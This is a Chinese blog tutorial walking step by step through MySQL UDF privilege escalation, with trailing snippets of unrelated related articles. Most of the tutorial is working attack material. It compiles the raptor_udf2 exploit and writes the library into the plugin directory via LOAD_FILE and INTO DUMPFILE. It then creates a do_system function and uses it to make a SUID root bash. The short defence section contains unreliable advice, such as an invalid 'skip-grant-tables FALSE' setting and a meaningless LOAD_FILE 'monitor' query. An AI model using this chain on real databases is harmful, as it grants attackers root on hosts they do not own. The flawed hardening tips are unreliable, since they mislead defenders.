当前位置: 首页 > article >正文

MySQL UDF提权实战:从编译到提权的完整避坑指南(附靶机复现)

MySQL UDF提权实战从编译到提权的完整避坑指南附靶机复现在数据库安全领域UDF用户自定义函数提权是一种经典的技术手段。本文将带你从零开始完整复现这一过程同时深入剖析其中的技术细节和常见陷阱。无论你是安全研究人员还是渗透测试初学者都能从中获得实用的技术指导。1. 环境准备与前置条件1.1 基础环境配置在进行UDF提权前需要确保满足以下基础条件MySQL高权限账户至少需要具备CREATE FUNCTION权限的账户理想情况下是root账户特定目录写入权限MySQL服务需要有向插件目录写入文件的权限secure_file_priv参数设置该参数值必须为空或包含目标目录验证当前用户权限的命令SELECT user(), current_user;查看关键参数配置-- 检查secure_file_priv设置 SHOW VARIABLES LIKE %secure_file_priv%; -- 查看插件目录位置 SHOW VARIABLES LIKE %plugin%;1.2 常见环境问题排查在实际操作中经常会遇到以下环境问题权限不足非root账户可能无法创建函数目录限制secure_file_priv参数可能限制了文件操作范围版本差异不同MySQL版本对UDF的支持存在差异注意如果secure_file_priv设置为NULL则无法进行UDF提权操作。这种情况下需要考虑其他提权方式。2. UDF共享库编译指南2.1 获取与修改POC代码推荐使用经过验证的POC代码如经典的raptor_udf2.c。获取方式searchsploit mysql udf -m 1518 mv 1518.c raptor_udf2.c关键代码片段分析#include stdio.h #include stdlib.h enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT;2.2 跨平台编译技巧针对不同操作系统编译命令有所差异Linux环境编译gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcWindows环境编译需MinGWgcc -shared -o raptor_udf2.dll raptor_udf2.c编译参数说明参数作用描述-g生成调试信息-c只编译不链接-fPIC生成位置无关代码-shared生成共享库文件-Wl,-soname设置共享库的SONAME3. 完整提权流程演示3.1 文件上传与函数创建将编译好的共享库文件导入MySQL的关键步骤-- 切换到mysql数据库 USE mysql; -- 创建临时表存储二进制数据 CREATE TABLE foo(line BLOB); -- 加载共享库文件到表中 INSERT INTO foo VALUES(LOAD_FILE(/tmp/raptor_udf2.so)); -- 将数据导出到插件目录 SELECT * FROM foo INTO DUMPFILE /usr/lib/mysql/plugin/raptor_udf2.so; -- 创建自定义函数 CREATE FUNCTION do_system RETURNS INTEGER SONAME raptor_udf2.so;3.2 权限提升实战操作通过创建的函数执行系统命令-- 创建具有SUID权限的bash副本 SELECT do_system(cp /bin/bash /tmp/rootbash; chmod xs /tmp/rootbash); -- 在系统shell中执行 /tmp/rootbash -p常见问题解决方案共享库加载失败检查文件路径和权限函数创建失败确认MySQL版本兼容性命令执行无效检查目标系统环境4. 防御措施与安全建议4.1 系统加固方案为防止UDF提权攻击建议采取以下防护措施严格控制MySQL账户权限遵循最小权限原则设置secure_file_priv限制文件导入导出目录禁用不必要的插件功能修改my.cnf配置文件安全配置示例[mysqld] secure_file_priv/restricted_dir skip-grant-tables FALSE local_infile OFF4.2 入侵检测方法可通过以下方式检测UDF提权行为监控mysql.func表的变更检查插件目录下的异常文件审计CREATE FUNCTION语句检测SQL示例-- 检查已创建的自定义函数 SELECT * FROM mysql.func; -- 监控插件目录文件变化 SELECT LOAD_FILE(/usr/lib/mysql/plugin/file_monitor);在实际渗透测试项目中UDF提权往往需要结合其他技术手段。我曾在一个内部测试中发现虽然目标系统限制了文件写入但通过先获取web目录写入权限再结合MySQL的日志功能最终成功实现了提权。这种多技术组合的思路在实际环境中非常实用。

相关文章:

MySQL UDF提权实战:从编译到提权的完整避坑指南(附靶机复现)

MySQL UDF提权实战:从编译到提权的完整避坑指南(附靶机复现) 在数据库安全领域,UDF(用户自定义函数)提权是一种经典的技术手段。本文将带你从零开始,完整复现这一过程,同时深入剖析其…...

从根目录到子目录:图解FatFs文件系统f_mkdir如何分配Cluster和更新目录项

从根目录到子目录:图解FatFs文件系统f_mkdir如何分配Cluster和更新目录项 在嵌入式系统中,文件系统的可靠性和效率直接影响着设备的整体性能。FatFs作为一款轻量级、兼容性强的文件系统模块,被广泛应用于各类嵌入式存储设备中。今天&#xff…...

FFmpeg隐藏技巧:用-acodec和af参数把手机录音变成录音棚效果(2024新版)

FFmpeg音频魔法:手机录音秒变专业级作品的终极指南 你是否曾经用手机录制过重要会议、灵感迸发的瞬间或是珍贵的家庭时刻,回放时却被背景噪音、音量不均或单薄音质破坏了体验?别急着投资昂贵的录音设备——你口袋里的智能手机加上FFmpeg这个开…...

从离线播报到智能交互:九联物联UMA223-H鸿蒙模组如何重塑东南亚支付云喇叭生态

1. 离线播报到智能交互的技术跃迁 记得去年在曼谷夜市买芒果糯米饭时,摊主那台会讲中文的收款喇叭让我印象深刻。这种看似简单的语音播报背后,藏着九联物联UMA223-H鸿蒙模组的硬核技术。传统收款设备就像老式收音机,必须联网才能"说话&q…...

拖延症福音:全场景通用AI论文工具,千笔AI VS 锐智 AI

还在为选题→大纲→初稿→文献→降重→查重→格式→答辩PPT的全流程焦头烂额?千笔AI以八大核心功能实现全流程一站式覆盖,从选题到答辩PPT生成全程护航,让论文写作从“耗时耗力”变成“高效规范”,真正实现“选题快、框架稳、修改…...

Dify异步节点稳定性攻坚实录(生产环境零宕机的5大硬核配置)

第一章:Dify异步节点稳定性攻坚实录(生产环境零宕机的5大硬核配置)在高并发、长生命周期任务密集的生产环境中,Dify 的异步节点(如 LLM 调用、RAG 检索、工作流编排)曾频繁出现超时中断、Celery worker 意外…...

新手也能上手!全领域适配的AI论文写作软件 —— 千笔写作工具

你是否也曾为论文写作而焦虑?选题无头绪、框架混乱、文献查找困难、查重率高、格式错误频出……这些痛点是否让你倍感压力?面对繁重的学术任务,很多同学都感到力不从心。现在,一款专为学生打造的AI论文写作工具——千笔AI&#xf…...

Dify私有化不是“装完就跑”!从CI/CD流水线嵌入、模型热加载监控到灰度发布控制台,构建企业级AI应用交付闭环(含Prometheus+Grafana全量看板模板)

第一章:Dify私有化不是“装完就跑”!从CI/CD流水线嵌入、模型热加载监控到灰度发布控制台,构建企业级AI应用交付闭环(含PrometheusGrafana全量看板模板)Dify私有化部署绝非单次安装即可高枕无忧的静态交付——它必须深…...

7-Zip深度应用指南:从压缩原理到企业级解决方案

7-Zip深度应用指南:从压缩原理到企业级解决方案 【免费下载链接】7z 7-Zip Official Chinese Simplified Repository (Homepage and 7z Extra package) 项目地址: https://gitcode.com/gh_mirrors/7z1/7z 认知篇:你真的了解压缩软件吗&#xff1f…...

西门子 Smart200 搭建恒温恒湿空调箱控制系统

恒温恒湿空调箱程序,plc恒温恒湿,用西门子smart200 mcgs(昆仑通态)西门子触摸屏。 恒湿空调 案例 有两个版本的 一个昆仑通态MCE程序 一个西门子触摸屏smart700iev3程序 含 200smart PLC程序在自动化控制领域,恒温恒湿空调箱的精…...

ESP32蜂鸣器播放音乐音质太差?试试这3个调优技巧和选曲避坑指南

ESP32蜂鸣器音乐调优实战:从物理限制到听觉优化的3个关键策略 当你在创客项目中为ESP32接上无源蜂鸣器,满心期待地播放第一首歌曲时,那种单薄刺耳的音效往往让人大失所望。这不是代码写错了,而是物理器件与音乐特性之间需要一场精…...

Matlab/Simulink 半车主动悬架建模:ADRC 与 PID 的碰撞

matlab/simulink半车主动悬架建模:基于ADRC(自抗扰控制)的主动悬架控制。 主体模型为半车主动悬架,采取ADRC控制。 输出为车身加速度,悬架动挠度,轮胎动变形。 默认输入为正弦路面输入。 有与pid控制的效果对比。在汽车悬架系统的…...

单轮车辆 ABS 防抱死控制 Simulink 仿真模型探索

单轮车辆ABS防抱死控制Simulink仿真模型 1.可控制切换冰雪路面和开关ABS系统控制 2.仿真输出时域下的车速/轮速/制动距离/滑移率/控制信号曲线,可以配置车重/滑移率-摩擦系数曲线/主缸压力/制动效能因数等参数。 3.有基础说明文档在汽车安全领域,ABS&am…...

针对‘全球化域名’策略的 AI 审计:如何利用 AI 自动分配不同语种的抓取权重?

各位来宾,各位技术同仁,大家好! 非常荣幸今天能站在这里,与大家共同探讨一个在当前全球化数字浪潮中极具前瞻性和实践意义的话题:针对‘全球化域名’策略的AI审计,以及如何利用人工智能自动分配不同语种的抓…...

3D-MIMO信道模型的理论简介与MATLAB仿真分析

3D-MIMO(三维多输入多输出)是传统2D-MIMO的扩展,区别在于将天线阵列的维度从水平面拓展到垂直面,同时考虑电磁波在方位角(Azimuth Angle)和俯仰角(Elevation Angle)两个维度的传播特性。相比2D-MIMO,3D-MIMO能够利用垂直维度的波束赋形实现用…...

深度学习yolo26算法的智慧工地数据集 工地人员安全合规检测、施工区域风险识别、智能安防巡检、作业规范自动核查10599期

工地安全实例分割数据集文档(!!!大量背景未标注)数据集核心信息表项目内容类别数量15类中文类别头盔、车辆、夹克、人、电梯、机器、主门、测绘区、无头盔、无夹克、禁止穿鞋、鞋子、塔式起重机、未设置围栏区域、白线图像数量3300数据集格式…...

17 openclaw数据库连接池配置:避免性能瓶颈的关键

openclaw数据库连接池配置:避免性能瓶颈的关键背景/痛点在高并发场景下,数据库连接管理往往是系统性能的关键瓶颈。许多开发者在实际项目中会遇到这样的问题:当并发请求数量增加时,数据库连接频繁创建和销毁导致系统响应急剧下降&…...

16 openclaw与数据库集成:ORM使用与性能优化

openclaw与数据库集成:ORM使用与性能优化背景与痛点在openclaw的实际业务场景中,数据库操作是绕不开的核心环节。随着业务复杂度的提升,直接使用原生SQL不仅开发效率低下,还容易引发注入漏洞和类型转换问题。ORM(对象关…...

手把手教你用Makefile一键搞定NCVerilog与FineSim混合仿真(附完整脚本)

从零构建NCVerilog与FineSim混合仿真的自动化工程体系 在IC验证领域,混合信号仿真是验证数模混合芯片功能完整性的关键环节。传统手动执行NCVerilog和FineSim命令的方式不仅效率低下,还容易因环境配置差异导致结果不一致。本文将系统介绍如何通过Makefil…...

从波形图到实战:手把手教你用示波器调试RS485通信故障

从波形图到实战:手把手教你用示波器调试RS485通信故障 在工业自动化和物联网系统中,RS485通信因其抗干扰能力强、传输距离远等优势被广泛应用。然而,当通信出现故障时,如何快速定位问题并解决,成为许多工程师面临的挑战…...

界面开发(5)--- PyQt5实现媒体播放器的核心功能与界面美化

1. 从基础播放器到完整媒体中心 上次我们实现了最基本的图像查看和视频播放功能,现在该给它来次全面升级了。想象一下Windows Media Player或VLC那样的完整播放器该有哪些功能?进度条拖动、音量控制、播放列表这些刚需一个都不能少。 先来看看最终效果图…...

线程池(原理 + 应用)

一、什么是线程池线程池(Thread Pool)本质上就是:👉 提前创建好一批线程,重复使用,避免频繁创建和销毁线程的开销简单理解:不用线程池:来一个任务 → 创建线程 → 执行 → 销毁 ❌&a…...

DIY红外遥控接收器:从HS0038引脚到完整电路搭建(附BOM清单)

DIY红外遥控接收器:从HS0038引脚到完整电路搭建(附BOM清单) 在智能家居和电子控制领域,红外遥控技术以其简单可靠、成本低廉的特点,依然是许多DIY项目的首选方案。不同于市面上现成的红外接收模块,从零开始…...

Mac环境下用pycocoevalcap评测ImageCaption模型的完整避坑指南(含Java 8配置)

Mac环境下用pycocoevalcap评测ImageCaption模型的完整避坑指南(含Java 8配置) 在计算机视觉领域,图像描述生成(Image Captioning)是一个重要且富有挑战性的任务。随着多模态大语言模型(MLLM)的兴…...

从倒立摆到无人机:LQR控制器的5个工业级应用案例详解

从倒立摆到无人机:LQR控制器的5个工业级应用案例详解 在控制工程领域,线性二次型调节器(LQR)以其数学优雅性和工程实用性著称。这种基于状态空间的最优控制方法,通过精心设计的代价函数,能够在系统响应速度…...

PyTorch内存优化实战:如何用element_size()和nelement()精准计算张量内存占用

PyTorch内存优化实战:如何用element_size()和nelement()精准计算张量内存占用 在深度学习模型训练和推理过程中,内存管理是一个经常被忽视但极其关键的性能瓶颈。许多开发者习惯性地依赖GPU显存监控工具,却忽略了在代码层面精确计算和优化张量…...

deepstream实战指南——环境搭建与依赖管理

1. 环境准备:从零搭建DeepStream开发环境 第一次接触DeepStream的开发者往往会被复杂的依赖关系吓到。我刚开始接触时,光是搞清楚CUDA、cuDNN、TensorRT这些组件的版本对应关系就花了整整两天时间。后来在实际项目中反复搭建环境十几次,才总结…...

Java SpringBoot+Vue3+MyBatis 热门网游推荐网站系统源码|前后端分离+MySQL数据库

摘要 随着互联网技术的快速发展,网络游戏已成为现代娱乐生活的重要组成部分,玩家对游戏推荐的需求日益增长。传统的游戏推荐方式通常依赖于人工筛选或简单的排行榜,缺乏个性化和智能化。为了解决这一问题,设计并实现一个基于前后端…...

【毕业设计】SpringBoot+Vue+MySQL 企业内管信息化系统平台源码+数据库+论文+部署文档

摘要 随着信息技术的快速发展,企业内部管理的信息化需求日益增长。传统的手工管理模式已无法满足现代企业对高效、精准管理的需求,尤其是在人力资源管理、财务管理和项目管理等方面。企业内管信息化系统平台通过整合业务流程、优化资源配置,能…...

百考通:AI赋能,提供直观示例参考,让每一份调研与设计都高效落地

在数字化时代,市场调研、产品设计、学术研究等场景中,问卷设计作为核心环节,直接影响着数据收集的质量与工作推进的效率。传统问卷设计往往面临流程繁琐、耗时耗力、问题设计不精准等痛点,而百考通(https://www.baikao…...